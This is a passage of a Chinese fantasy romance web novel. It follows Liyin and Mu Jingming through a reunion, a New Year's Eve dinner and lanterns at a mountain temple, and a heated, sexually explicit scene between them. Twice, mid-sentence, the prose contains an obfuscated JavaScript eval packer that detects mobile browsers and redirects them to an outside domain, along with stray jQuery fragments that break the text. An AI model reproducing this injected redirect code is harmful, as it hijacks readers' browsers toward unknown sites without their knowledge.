璃音坐下,看慕璟明在对面望着她,眉眼晶亮,神姿粲然,不禁也去晃他的手笑:“我今天表现如何?这样,够在乎你了吧。” 这是还在介意着昨日他那句,关于她不在乎他的质问呢。 慕璟明眉峰轻抬,唇边绽着笑意,嘴上却只淡淡地“唔”了一声,道:“今日还算过得去。” 说完,两人无声对望了一息,便忍不住都笑了。 两人面对面坐着,各自的一只手却仍拉在一起,直直亘在中间,把马车里小小的空间劈作两半,怪显眼,也怪奇特的,但两人也就这么把手牵着,谁也没有松开。 慕璟明看着眼前笑吟吟的姑娘,她的笑总是轻灵的,像带露的桃枝,又像绿芽沾了春雪,化在心里,便成了一捧跳动的春涧。 可只有他知道,这笑着的姑娘能有多狠心,她竟真就让他差点再也见不着她一眼。 自她出现在他视线里面,他便再没从她身上挪开过一眼,三年没见她了,剩下的时间也不知还有没有三个月,每一眼都是这样珍贵。 可光这样看着怎么够? 男人用拇指的指腹轻轻去摩少女的掌心,诱哄般开了口:“阿璃,跟我回去住吧。” 他迎着少女也灼灼望着自己的目光,偏头笑得撩拨:“回家让你看个够,嗯?” 璃音一下被撩得手痒心也痒,忍不住红着耳朵,用没被牵着的另一只手去打他的手背:“自恋狂,谁要看你了!” 慕璟明笑着由她打,不松手,也不躲。 璃音打完便就十分认真地惋惜起来:“不是我不想陪你,但我前日答应了小蜀,要带她修炼的,先来后到,我先答应她的,所以还是住观里好些。” “小蜀?” 听到熟悉的称呼,慕璟明略显讶然地动了动眉。 “嗯,昨日她来给我送药的时候,你也见过的。” “那个老婆婆?” 看慕璟明的神情,璃音就知道他在想什么,又晃起他的手,笑道:“没错,她就是楚公子爱慕的那个……不对,应该说是半个,是楚公子爱慕的那半个蜀娘子。” 璃音便与慕璟明说了小蜀的故事,说罢不由问道:“楚公子娶了那崔家姑娘,也算娶到了心中最美的美人,现在应该很幸福吧?” 慕璟明想了想,道:“幸不幸福我不知道,但三年就添了一儿一女,和小舅舅当年信中向往的倒也差不多。” 还真就三年抱俩,璃音轻轻震了一撼,楚作戎幸不幸福她也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14543609|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能不知道,她现在只晓得:“崔姑娘真是辛苦了……” 两人有一搭没一搭地聊着话,到得武宁侯府门前,下车一看,路上积雪又厚了一层,原来天上不知何时又飘起了小雪。 于初吻在雪天里的两人而言,似乎像这样下着雪的时候,就应该要接吻。 只是慕璟明的唇还未落下,少女已抬起下颌,踮脚啄去他唇上亲了亲,一触即离,微凉的指尖轻轻捏在他掌心,一双眼睛水水亮亮地冲着他笑,甘灵极了:“上次推开的,补上。” 男人的笑意染进眼底,他抬手抵上少女微烫的面颊,伸出拇指不轻不重地揉弄了一会那处柔软的唇瓣,才道:“那接下来是今天的。” 唇便又一次落了下去。 “唔……” 璃音没想到慕璟明会亲得这么凶,虽然他在这种事上,一向很凶就是了。 她被他动情地追缠,不肯停歇地吻了一次又一次,说是今天的,但这家伙,简直就像是要把三年的空缺都向她讨回去似的。 但她也尽情放任着他,放任他在她身上做的一切,然后抬手,将亲吻着她的这个男人轻轻抱住了。 终于抱住他了。 璃音满足地眯了眯眼。 可谁知这一下,却换来了慕璟明更为激烈的缠吮。 璃音继手痒心痒之后,舌根也痒了起来,她从不知一个吻可以抵死缠绵至此,简直叫人忘却了所有,只想和他相拥着吻去时间的尽头,世界的尽头,吻去一切一切的尽头。 可耳边传来轻微的几下马蹄踩雪的声响,终是让璃音一个激灵回过了神。 这个慕璟明!他们还在外面呢!他就…… 虽然武宁侯府大门外的这条道,平时也没什么人走,但至少童墨还在呢! 她真怀疑,若有个机会,能让慕璟明抱着她在全酆朝人的面前亲,这男人也一定会那么做的。 这个变态! 于是薄脸皮的少女不由得轻轻推拒起来,但毕竟情潮未退,那推拒便也不大认真,而不认真怎么可能推得开正自强势的男人,是以她只能在交缠的唇齿间艰难发出一点点抗议的声音:“慕璟明,有人……别在这里……” 晓得她面皮薄,慕璟明终是稍稍放过了她,交缠着的唇舌撤开,却仍是有一下没一下地在上面啄吻着,一面亲,还不忘低哑着嗓音哄她:“不在外面,那就跟我回去住,嗯?” “可我已经答应小蜀了,唔……” 虽然又被慕璟明用唇齿碾吻着威胁勾引了一遍,但璃音还是没动摇,她再住进武宁侯府,又以什么身份呢? 三年前莫名其妙消失,现在又莫名其妙出现,就算慕璟明能接受她的一切说辞,可侯府中的其他人呢,武宁侯和楚夫人呢?难道也要和他们说,她是天上的神仙派来的么? 太怪了。 更何况,她依然是嫁不了他的。 察觉到男人有些晦暗的神色,璃音重新伸臂环住他的腰,脑袋顺势钻进他怀里:“生气了?” 慕璟明没有答话,静了数息,璃音才感觉自己被紧紧地回抱住了,接着,颈窝里便蹭来一颗脑袋。 明明整个人都被他扣在了怀里,却反而像是被他依赖着似的,这感觉不错,璃音笑着又将他抱得更紧了些。 又过片刻,头顶才传来慕璟明瓮声瓮气的一句:“明天还来吗?” “嗯。”璃音将整个面颊贴去他前胸,感受他如鼓的心跳,“每天都来。” “嗯。” 雪声寂寂,喜欢却化作了心跳,化作了清浅缠绵的呼吸,不停跃入两人耳中。 “阿璃。” “嗯。” “一起活下去吧。” 没头没尾的一句话,可璃音偏偏知道慕璟明说的是什么。 她眼眶一热,明明已经无法抱得再紧,可她还是更紧地将他抱住了。 “好。” 她答应着。 以后,都一起活下去吧。 105. 第104章 除夕 晨光微熹,鸟啼唧啾着透过早间稀薄的雾气,钻入人们将醒未醒的耳朵里,带着十足的生机活力,清清脆脆地叫起了早。 璃音刚一睁眸,就照例收到破军无声叩在灵台里的一句:“醒了?” 到了这会,要是再搞不清这传音是属于谁的,就未免太过蠢笨了。 “嗯……醒了。” 璃音一面回着,一面慢吞吞直起身子,眼里漫着点水雾,呆呆懵懵在床上坐了一会,忽一眨眼,才突然回神似的,又回一遍:“小七,我醒啦。” 这次才是真的醒了。 对面传来一声低笑,无声的声音变作了男子清雪般的声线,愈是轻缓,便愈显勾人地落在少女灵台之中:“看来阿璃昨晚睡得挺好。” “是挺好的。” 被慕璟明取笑了,璃音也不在意,反而弯眼笑着,趿鞋下榻,推开小窗,清早新鲜的空气灌进来,只觉连呼吸都是这样松快。 几百年来,心里头总有这样那样沉甸甸的心事压着,挥散不去的噩梦每晚变着花样追着她跑,她不敢睡,不能睡,即便迷迷糊糊睡去了,也很难睡得好。 而住在此处山间道观里的近半个月里,璃音晨起便陪小蜀练功画符;午后就和归岚一起,喂喂那只受伤后被养在山间,尚不能化出人形的小鹿蜀,再带它在林子里溜达几圈消消食;申时一到,便拾掇拾掇,欢欢喜喜去接心上人下值。 神弓乖乖躺在自己体内,慕璟明也不再与她闹脾气,昆仑劫难尚在九百年后,压根不必此时来操心。 过着这样闲适称意的日子,山风吹散心事,璃音噩梦也不做了,真是日日悠哉,夜夜好眠。 唯有一件,就是慕璟明看她看得未免太紧了些,每日必然早中晚各一次,一次不落地透过破军催她报备行程。 就连睡醒了这种小事,也必须报与他知道才行。 不过这也情有可原,慕璟明虽嘴上不说,璃音也隐约能猜到,那日自己在马车上毫无预兆的一晕,多少是给他留下了点阴影。 少女对窗舒舒服服抻了个懒腰,说话时,嗓音和脑子也还都带着刚起床的懒:“可是抱不到你,所以不算最好。” 这也是璃音被囚月牢的三百年里,整日抱着那株高高大大的月桂,养出来的一个不算好的习惯:打瞌睡时,闻不着月桂清香,或是手里不抱着点什么,就总觉还不够安心。 想到慕小侯爷结实劲瘦的腰腹,璃音不自觉咽了咽喉咙,那摸摸抱抱时的手感自不必说,更神奇的是,慕璟明身上也仿佛真有月桂清香似的,埋进他怀里,钻入鼻尖的味道闻起来总是那样熟悉,那样令人安心。 而且,慕璟明还有一点比那株月桂更好,只要她向他蹭过去,无论睡没睡着,他都一定会回抱住她,那可是一棵树无论如何也做不到的。 她的小七,当真是这世上一等一合她心意的抱枕。 所以于璃音而言,没抱到小七的睡眠,自然算不得最好。 一句大实话,就这么由少女清清懒懒地脱口说了出来,带着早起后特有的黏糊劲儿,完全没意识到,这样的语气,这样的字句,落进男人耳朵里,究竟有多么撩拨。 “明日休沐,今晚我去你那里。” 灵台中,慕璟明的声音又传了过来,尽管这半个月来已经听了很多次,但每次听他的嗓音响起,但璃音还是会感慨,原来只听他的声音时,是这样的感觉。 不似他外表上的张扬炽烈,听来其实有些清冷,但这句不知为何,好似裹上了一点浅淡的缠绵。 少女雀跃起来:“申末我去接你上山。” “好。” 只有一个字的回应,但少女依然掉进了蜜罐里。 也是在像这样只听声音时,璃音才发现慕璟明的话真的不多。 仔细回想,她也发现,慕璟明这个人,其实骨子里对什么都淡淡的,就连当年楚夫人要他去死,他竟也淡淡地接受,只是因为他向她望来的眼神总是太过炙热,才给了她飞扬的错觉吧。 最深处的那个他,分明安静得像冷夜里的一捧星辉。 日子就这般悠悠晃晃地过,转眼便到了除夕。 对凡人如此重要的一天,慕璟明却不肯在武宁侯府里过,也不怕家里人说他,早早就上了山,在观里赖着,璃音做什么,他就在一旁看着,偶尔牵一会手,一点不烦人。 到得午后,就抓一把草,毫不客气地顶了归岚的位置,喂了小鹿蜀,又去牵璃音的手,一起在后山林子里溜达。 正溜达着,璃音忽侧首道:“年夜饭怎么办?这山上可没有厨子。” 她是个只会炒青菜的。 小蜀是鹿蜀成精,手艺也就比她强了那么一点,真就只是一点,顶多能炒出个更能入口的青菜,不叫人饿死罢了。 至于归岚,龙族的小神君生来便不食五谷,厨房里的事,更是指望不上。 四个人愣是凑不出一双能做饭的手。 璃音为难地窒了窒,慕小侯爷在这里过年,总不能一盘青菜就当了年夜饭吧,这招待得未免太寒碜了。 “出去吃?”慕璟明倒是早有对策,看少女认真为难的样子,笑得惹眼,“醉仙楼今晚不打烊的。” “醉仙楼!” 那可是个好地方呀! 璃音眼睛一亮,不忘带上小蜀和归岚一起享受:“那大家一起去。” 醉仙楼是个好地方,就是贵,太贵了! “嗯。” 慕璟明笑着应。 那笑看在璃音眼里,十足成了个财大气粗的笑。 脑中掠过自己与摇光逛三仙庙会时,拮据到差点去文昌帝君金塑上抠金子的模样,也不由得抿嘴笑了起来。 没了仙身,却变得有钱了的小七,际遇轮转,她也跟着沾光,想想也挺有意思。 趁着小七有钱,当天晚上,璃音便带着山上一行人都跟着去了醉仙楼,四人刚好围了一桌,菜都挑贵的点,狠狠宰了慕璟明一顿。 堂倌一面上着菜,璃音就熟练地把烧鸡从慕璟明跟前拿远,又举起筷子,把所有菜里的肉丝全挑进一个小碗里,端远了,剩下半碟子菜叶,重又摆回慕璟明面前:“你吃这个。” 堂倌欲言又止地抽动着额角,看那青衣少女挑挑拣拣,愣是没给男子留下一筷好肉,忍了半晌,终是忍不住在转身时不算小声地嘀咕了一句:“小娘子,你夫君一颗真心给了你,也不是让你这样糟践。” 璃音茫然看看桌上,小蜀的灵魂装在老妪的身子里,剩下两位都是男子,那这小娘子指的便只能是自己了,于是更茫然了。 她茫然抬头:“……啊?” 却只看到了堂倌愤愤不平的一个背影。 再一低头,看到筷子上夹着的一根肉丝,以及慕璟明面前可怜的几碟子“残羹”,好像明白了什么的璃音:“……” 心里极快地掠过一丝在意。 从前和商月在一起时,心里曾偷偷有过的一些隐秘的不满,竟都借着此时跑了出来。 商月对她太好了。 好到天宫里无人不知,无人不晓,好到她无论如何努力回报,都还是一直有人说:“你看他对你那么好,你怎么这样对他。” 后来出了虞家村那桩事,连累商月到那般境地,她自此更是辩无可辩,就连商止师兄,不也这样评价商月对她的付出:“太也不值。” 可她明明,也努力对他好了。 忽听小蜀抿了一口酒,嘿嘿笑道:“难怪除夕也没个媳妇要他回家陪着,那个呆子,他都看不出小侯爷嘴巴都要咧到耳朵根上了么?” 喝了酒的小蜀,跟变了个人似的,浑身的怯懦都不见了,说起话来竟是如此豪放。 归岚新奇地啃了口烧鸡,也在一旁点头:“是啊,主人很爱神君的。” 说着忽然抬起头来,望向桌对面的慕璟明,神情专注地道:“神君,你不知道,在东海的时候,主人做梦都……唔唔……” 璃音默默撕下一只鸡腿,塞进了归岚嘴里。 虽然她很感动,但她梦里都在喊小七名字这种事,就不必往外说了。 “我知道。”慕璟明放下筷子,灼灼的目光有如实质,落进了璃音的眼底,“阿璃说过,会对我好的。” “归岚哥哥,烧鸡好吃么?” 小蜀咽了口唾沫,不等回答,便抢过另一只腿,埋头啃了起来,谁知一啃下去,就捂住了半边脸叫道:“哎呀,好硬,不行不行,我的牙是真不行了……” 归岚摇头失笑,把一碟蒸鱼推去了小蜀跟前:“这个入口软些。” 小蜀却仍是不放弃地用她六旬老妪的牙齿艰难和一只大鸡腿做着斗争,嘴里还一面说道:“唔……姐姐对小侯爷,对我,都没得说的。” 除了璃音姐姐,还有谁会在除夕夜带她来醉仙楼啃大鸡腿呢? 璃音眼睛酸酸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573445|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一垂眼,看见慕璟明不声不响地往她碗里夹了一条炸得金黄酥脆的小黄鱼,是她最喜欢的。 她用力眨了眨眼睛,眨走眼中酸涩,抬头向桌上三人笑道:“晚上买几个灯笼回去放吧。” “好啊好啊。”小蜀立刻兴奋响应,“要买那种能许愿的!” 璃音侧首,笑着望向她的钱袋子:“小七,好吗?” “好。”慕璟明看少女小财迷般盯着自己的眼神,抬眉忍笑,干脆解下钱袋,抛了过去,“买什么都可以。” 热热闹闹吃完年夜饭,小蜀早喝得醉了,回山的路上,就一直趴在归岚背上,高声唱着跑调的山歌。 璃音提着一沓买来的孔明灯,和慕璟明慢悠悠牵手走在后面。 山路寂静,远离俗尘,万家灯火不见,只有小蜀奇怪的歌声不依不饶响在耳边,可璃音偏生觉得热闹,是不叫她讨厌的那种热闹。 回到观里,小蜀酒醒了一些,又拉着归岚下棋,下一步悔一步,这么个下法,归岚自是一局赢不了,耷拉着脸来向主人求救,谁知璃音竟给小蜀那无赖撑腰,归岚哀嚎一声,只得认命地又输了一局。 璃音看归岚向自己射来的幽怨眼神,撇过脸躲在慕璟明身后笑。 不料小蜀这局赢了归岚,下一局就要拉着她来下,吓得璃音忙一个拔腿跑了,和慕璟明一起躲去了主殿前的石阶上,就肩靠着肩,十指交叠在一起,并排坐着看起了星星,陪他守岁。 可看着看着,颊边、唇上、眉梢、甚至眼睫、耳后……就渐渐都落上了男人滚烫的灼吻。 实在是越亲越过分,璃音捧住慕璟明又一次凑上来的脸,红着耳朵给他立规矩:“一天只许亲一次!” 慕璟明抬眉“哦”了一声,温热的手掌覆上她手背:“可我晚上要给你抱好几个时辰,这么算来,岂不是亏了?” “你都睡着了,给我抱一下怎么了!又没什么感觉,这个不算。” “怎么没有感觉?” 看慕璟明又摆出那副似笑非笑的神色,璃音就知道他脑子里又没在想什么纯洁的好事,提脚刚要踹他,就见小蜀提着那几只孔明灯跑了过来,嘴里兴奋地喊着:“新年要到啦,姐姐,小侯爷,我们来放灯吧!” 归岚跟在小蜀身后,步子迈得飘啊飘的,璃音瞧着奇怪,走近一看,只见他眼神迷离,两坨脸蛋嫣红,看璃音凑近,嘴巴一张,就是一声爹。 原来是输了棋罚酒,已被罚得半醉了。 璃音拍拍他猴屁股似的脸,拍到他张嘴时能分清“爹”和“主人”,才满意地拿了两只灯盏,回身和慕璟明一起琢磨起了新年愿望。 左思右想,她竟提笔写下一句:长高!长高!长高! 写完自己就笑了,于是翻去背面,又认认真真写下一行小字。 写完抬头,看见大家都坐着弯身在石阶上认真写着愿望,偏小蜀那副身子骨不允许,弯不下身,就干脆趴去了归岚背上写,不料那软刷似的毛笔在背上一划,归岚就发痒,一痒那背就抖个不停,小蜀一笔写歪,气得不行,嚷嚷着要归岚赔她一张新的。 侧过头来,是慕璟明凌厉却安静的侧颜,察觉到她在看他,便抬了眸,一眼看到她写的“长高!长高!长高!”,怔愣一瞬,就毫不留情地笑了。 他又取笑她! 璃音哼了一声,扭过头去不理他。 耳朵里听着大家吵吵闹闹的笑声,却忽然有了落泪的冲动。 幸福太多了,多到有点不真实。 就是在梦里……她也没敢做过这样幸福的梦的。 这样过多的幸福,不知怎么,竟猛然间叫她无措起来。 小七,真的会一直这样陪着她吗? 他们之间隔了九百年,九百年里,他耐不住寂寞怎么办? 神君要历劫十次,接下来的每一次历劫,他也都会像喜欢她一样,去喜欢别个姑娘吗? 还有她掩埋起来的那些过往,慕璟明可以不必知道,可神君,总有一天会要知道的。 她翻过纸条,看向自己在背面写的那行小字:此间欢笑,岁岁年年。 她不要焰火一瞬,她想要岁月绵长,他们在每一个星夜里相守。 放灯时,悬挂的纸条被烛火照得透亮,慕璟明刚松手,璃音在晚风里偏头一看,看见了八个小字:神魂交付,同心永结。 她眼又酸得厉害,勾过他的腰,将他重重抱入了怀中。 106. 第105章 不想要我? 新年一到,再等开春便快了。 果然,没过几天,一个雪色初融的晴日午后,楚作戎便带着帖子上了武宁侯府的门,慕璟明打开一看,是楚作戎要在立春那日作一场春宴,邀他过去。 往年这类公子王孙游玩饮乐的邀约,慕小侯爷身份在这,自然也收到过不少,但他一概是懒得去的,但这次…… 男人修长的指骨不自觉收紧,半晌,复又松开,长睫无声垂落。 阿璃之所以会回来王都,之所以还留在这里,留在自己身边,就是为等这一场春日宴。 这些,他都知晓。 那么等这一场春宴结束,她最后一个任务完成,也就到了她离开他的时候了。 阿璃,要走了。 “就知道你又不肯来。”楚作戎毫不意外地耸耸肩,自己这名义上的侄子自小便不大合群,本也没指望他会去,但礼节总还是要到位。 不过这么多年来,看他仍是一点不合群,也没一点打算要合群的样子,还是不免想要语重心长再劝上两句:“璟……” 不料话还未出口,慕璟明已先自敛了神色,淡淡笑着把帖子收下了:“小舅舅的约自然要赴,到时我会带着阿璃一起过去。” 太阳打西边出来了,慕璟明这是,会来的意思?楚作戎呆立一息,待回过神来,慕璟明已兀自丢下一句:“不过今日我还有事,就不留小舅舅用饭了。” 便大步流星直直奔去了马厩,牵出一匹枣红骏马,翻跃而上,马鞭一扬,马儿四只蹄子飞踩出扬尘一片,便就载着马上男子似箭般的心情,也似箭般奔驰而去了。 * 璃音一手支腮,一手悬笔,桌上一张细腻软白的宣纸大大摊着,纸张一看便非凡品,昂贵非常,但上面却画满了各种奇诡符号,落笔潦草,不成阵法,一看便只是一张随手乱涂。 自从腰间的钱袋子被慕小侯爷塞得鼓囊囊的,璃音也就毫不客气地享用起来,有钱堪花直须花嘛,这些身外之物也带不去天宫后世,等回到九百年后,有的是他俩在人间穷得一个子儿都掏不出来的时候。 于是王孙贵胄们都只舍得裁一点写一点的纸,就被璃音这么拿来当了研究符阵的草稿纸。 忽闻屋外淅沥声响,璃音抬头向窗外一望,日头挂得老高,仍是晴空一片,却有雨珠坠下,竟是下起太阳雨来了。 倒是难得一见的景致。 璃音搁笔起身,手撑着窗沿望了会,雨点压下空中漂浮的尘土,叫空气里满是一片惬然的清新。 璃音正看得恰意,突然雨打窗台的清音里混入一阵急促的马蹄声响,她微微一怔,看着窗外勒马而下,身上已被雨水打湿了一半的男人,睁圆了眼,惊呼一声:“小七?” “外面下这么大的雨,怎么不喊我去接……” 提步还未奔至门口,已被迈着大步进来的男人一把扣住后脑,带着一路策马疾奔后的粗重喘息,含碾上了她的唇。 虽然以前也打趣说他是色狼,骂他变态,但这副迫切难抑的样子,璃音从没在慕璟明身上见过。 一点清凉的触感在面上滴落,璃音心里一紧,忙睁眸一看,原来是男人睫毛上挂着的雨珠坠了下来。 璃音便就放任他吻着,等他轻喘着结束,将头靠去了自己肩上,才抱着他轻声问:“怎么啦,不开心?” 慕璟明抬起头来,看眼前少女唇珠水亮,那上面沾满了他的气息,不禁喉结微动,抬手抵上她温腻的面颊,所有动作都轻柔下来:“喜欢我吗?” “是我今天又不够在乎你了?”璃音歪了头笑,将脸更深地蹭进他宽厚的掌心。 可男人显然对这个回答很不满意,又倏地将她扣入怀里,衣服上还沾着潮冷的雨水,闷得璃音差点喘不过气来。 “说喜欢我。” “好好好,喜欢,最喜欢你了。”璃音看得出慕璟明现在情绪不好,便也好脾气地顺着他,温声,“先跟我去把湿衣服换了好不好?你这样会着凉的。” 可男人仍是抱着她,不吭声,也没一点撒手的迹象。 璃音手往他袖片上轻轻拽了拽,闷在他怀里,声音低低哼哼地道:“小七,沾了水的衣服贴在脸上,不舒服。” 慕璟明这才放开了她,乖乖任她一件件扒走了自己的衣服。 搞了半天,还是吃这套。 璃音好笑地去他脸上亲了亲,又看他只着里衣,漂亮的锁骨从襟子里透出来,头发上滴滴答答淌着水,就滴在了那两个性感的小窝上面,看着看着,就不由咽了口唾沫。 虽然美人湿身是很具有诱惑力,但璃音还是更怕他冻着,偷偷饱过了眼福,就赶忙溜去拿了干的布和衣服过来,让慕璟明擦擦身子换上。 顺手还撑了个结界,隔绝掉了屋外料峭的寒气。 只没料到屋里不冷了,男人也就不急着穿衣,而是就这样穿着单薄的里衫,一点点擦起了被雨水打湿的那一头墨色长发。 那里衣是真的单薄,单薄到何种程度呢,就是薄薄一层贴覆在那没有一丝赘肉的精硕身躯上,甚至能隐隐勾出那上面诱人的肌肉线条。 璃音越看喉咙越渴,只觉那布不是轻轻擦在慕璟明发尾,而是挠在自己嗓子眼里,忙端起茶盏抿了一口,但一开口,声音还是有点哑:“今天谁惹你不高兴了?” 慕璟明闻言动作一顿,放下已擦得半湿的巾布,抬眸看着她,淡声道:“小舅舅今天过来下请帖了,立春那日,他会在云郊摆宴。” 楚作戎,立春,郊外,摆宴。 几个关键词下来,璃音轻轻“啊”了一声,眼睛登时一亮。 那不就是楚作戎所作宴饮图中的那场春宴? 等了这么久,可算给她等到了! 看少女陡然亮起的双眸,慕璟明不动声色地将眼垂下,拿起手边的衣服,一件件穿了起来:“你不是一直想去的么,我已与小舅舅说了,到时会带你过去。” 一切都在顺顺利利向前发展,挺好一件事,但怎么就被慕璟明接在“谁惹你不高兴了”这句问话后答了出来? 璃音把他按去圈椅里坐下,勾起桌上那块巾帕,替他擦去颈窝里残留的几点水珠,又探去领子里抹了抹,光明正大吃了把美人的豆腐,口中才问:“是不想去,所以不开心?” 其实换做平日,这种骄奢靡靡的场合,璃音也是懒得去的。 可谁让小七和落日都出现在了楚作戎的那幅传世画作之中,为了完成历史的闭环,不想去也只能去 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神仙寿数漫长,她仍要赶着回去和他相会,而自己最多只得人间几十年,可她却连这短短的几十年也不肯给他。 她怎么可以偏心至此! 心已沉入渊底,但慕璟明仰起脸时,唇却向她轻轻勾了起来。 “再多给我一点……” “什么?” 男人嗓音轻哑,璃音没太听得明确,将耳朵凑近了一些问他:“是还冷么,可你留在我这里的外袍只这……啊!” 话未说完,耳垂已被男人湿软的唇舌含住,舌尖带着情色意味勾缠上来,然后又轻轻地吮,灼热的气息随男人的字音喷洒进耳朵里,一字一句,低绻缠绵:“阿璃,再多给我一点,嗯?” 璃音浑身上下最敏感的就是耳朵,平日里就最受不了他亲在这里,更别提现在这样…… 再未经人事的少女,也不可能听不懂这样一句明显的暗示了。 璃音脑子都空白了一瞬,随即便觉一双有力的臂膀环搂上了她的腰,一掌隔着衣衫上下抚弄她的背,另一手掌心揉在她腰侧,手指也不安分,不住轻勾慢挑,不一会,腰带便松松散散落去了男人手心,又被他扔在了地上。 多给他一点,她不是不愿意,她可以把一切都给他,只是…… 她轻轻推开他,一眼便攫住他来不及掩饰的、刻满沉郁的眸。 璃音静静看着他,窗外雨声簌簌,而她眼中亦有水雾漫起:“是因为不开心,才对我这样的吗?” 慕璟明没有作声。 浑身被他撩沸的血液霎时冷透。 果然,果然是这样吗。 少女搂在他颈上的手垂下,起身,最后平静地看着他道:“慕璟明,你有时候真的很过分。” 他过分? 慕璟明忽笑着抬头,指骨一弯,勾住了少女欲撤离的手。 “不想要我?” 他此时头上发冠因方才擦过发而微散,满肩墨发长垂,中衣尚未系带,早被璃音坐乱了,在身上凌乱地敞着。 他灼灼地望着她,眼中沉郁都化作勾人的炽火,带着不知向谁的挑衅,向她扬起了唇角:“我给你的一切都会是第一次,他是吗?” 107. 第106章 吃干抹净 太久以来,一直小心潜藏在心底最深处的心事就这么冷不防被说中,璃音身形骤滞,指尖轻颤一瞬,便僵停在了慕璟明勾来的指骨之中。 手指被男人趁势缠进掌心,要诱她作出什么决定似的,不紧不慢地揉,又轻轻缓缓地捏。 璃音瞳色渐深。 是,天宫里的摇光神君早她千万年降世,再加上绕不过去的十世历劫,牵手、拥抱、乃至更亲密的事,或许他都早已和别人做过。 她占有不了全部的小七,却可以完完整整地占有眼前这个男人,让他这一生从身到心,从生到死,都绝对地,彻底地,永远地,只属于她一个人。 想到这,璃音眸底赤色同骀荡一齐翻涌上来,倏地欺身而上,玉白指骨掐住男人线条凌冽的下颌,指尖戾然勾抬,声色皆是仿佛被凉水浸过般的冷:“他可没你这么急着要被人上。” 十足嘲蔑羞辱的一句话。 而说这话的少女乌发血眸,衬着莹白似玉的一张小脸,邪性毕露的一刹那间,有种惊心动魄的美。 慕璟明撩起沉黑的眸子,看着她这副从未肯在自己面前展现过的模样,看她冷垂着眼,居高临下地睨他,看她将所有情绪无所顾忌地往他身上丢,好的坏的都不再遮掩,不禁眼底光亮更炽,唇边笑意灼人:“阿璃不就喜欢我这样吗?” 字音尚未落下,背脊已被狠狠抵进圈椅竹制的椅背,后颈被扣住,仰起,喉结被迫向她全然展露,在她微凉指腹近乎玩弄般的按抚下,脆弱地滑动。 “好玩吗?”他嗓音已被她折磨得沉透哑透,却从善如流地更深地仰起脸来,把自己更多更好地送入她手中,由她尽情作弄,面上是餍足撩人的笑意,“只给阿璃一个人玩。” 少女作恶的指腹顿住,下一息,她眼底赤芒陡盛,五指蓦然收拢,毫不怜惜地扼上了男人的咽喉:“慕璟明,这可是你自找的。” 红唇压下,她倾身,掐着他脖颈,狠狠碾上了他樱软的双唇。 体内魔气占了上风,神思固然清明,狂性却已一发不可收拾。 少女那双平日里用来翻飞结印的手,骨节分明,纤长灵巧,透着昭然的力感,此刻不再画符结阵,却是在慕璟明身上恣情放纵,带着明显惩罚的意味,狠戾捻弄,肆虐游走。 他的锁骨,他的胸膛,他漂亮的身体上的每一处,都被她毫不客气地侵犯享用。 突然男人闷哼一声:“阿璃……” “这就受不住了?”少女歪头看他,欣赏了一会他眉心难耐微蹙的美景,突然察觉到什么,忽地一笑,手上愈发用力,笑容里装满天真的邪性,“它在我手里跳呢,这不是很喜欢吗?” 男人发冠衣衫尽散,闻言闷闷喘了一声,一双黑眸始终向上撩着,目光直勾勾追着在他身上作恶的少女,眨眼间泛着某种动人的潮意。 全然一副任君采撷的模样。 看得璃音心神愈加狂荡,手上也愈发没轻没重,指腹毫不留情地碾摁,唇舌也不歇着,咬他的下巴,狠狠地吸吮。 比喉结更敏感的地方遭她无情蹂虐,慕璟明半眯起眼睛,看身上因他而微微失控的少女,疼中亦带着无法言说的餍足。 被她惩戒,被她发泄,被她占有,被她…… 被她怎样都可以,只要是被她。 他不加克制地喘息,抬掌覆住她正对自己逞凶施虐的那只手,温柔地裹上,然后带着她更用力地占有他…… 璃音唇齿一顿,微微撤开,掀起眸子看他,就见慕璟明下巴那里被她啃吻出深深的一片齿痕,里衣只剩一半堪堪挂在肩头,双唇红肿,青丝散乱,身上更是被欺负得乱七八糟,淤青渐渐泛了上来,到处是她弄出来的痕迹。 而她从头至尾,只是散了一根衣带。 “痛吗?” 眼中赤色被压下一点,璃音素指曼抬,顺着那片齿痕,轻轻抚上慕璟明那片漂亮的下颌。 她到底是心疼他的。 他笑着对她摇头。 模样很乖。 璃音被他乖得血眸又褪下大半,她捧起他的脸:“不会怕我吗?变成这副模样,还这样对你。” “消气了?”慕璟明仍是看着她笑,见她发泄后有些懊丧的神情,于是伸臂将少女拥进怀里,轻拍着她的背安抚,“不怕,你对我做什么都可以。” 好像刚才逞威欺负人的不是怀中的少女,而是他一样。 “当真对你做什么都可以吗?”璃音也拥住他,埋首进他颈窝,嗅着他的发香喃声。 “可以。” 慕璟明应得轻声却斩截。 他能怕她对他做什么?他唯一怕的,是她什么也不对他做。 怀中的少女静声良久,才忽又在他耳边小心翼翼地、用极轻极轻的声音道:“那我想留住这一世的你,可以吗?” 慕璟明抚她背脊的动作蓦然顿住。 有一瞬间,窗外的雨声忽然被放大了无数倍,或者该说,天地间所有的声音都在这一刻被放大,雨打在各种地方的淅沥声,躲在不知何处的鸟的啼声,血液在体内静静流淌的声响,还有他心爱的姑娘,絮絮温声,说她想要将这一世的他留住。 仿佛他降在这世间二十年,就为了等她这一句话。 “我不要你把我忘掉,不要你喜欢别人,不要你变成十婚男……”少女的声音随心绪不可抑制地颤动,带着那样多的害怕,那样多的不安,“我不止想要你的第一次,还想要你以后的每一次都是我的,我想要你永远都只做我一个人的小七。” 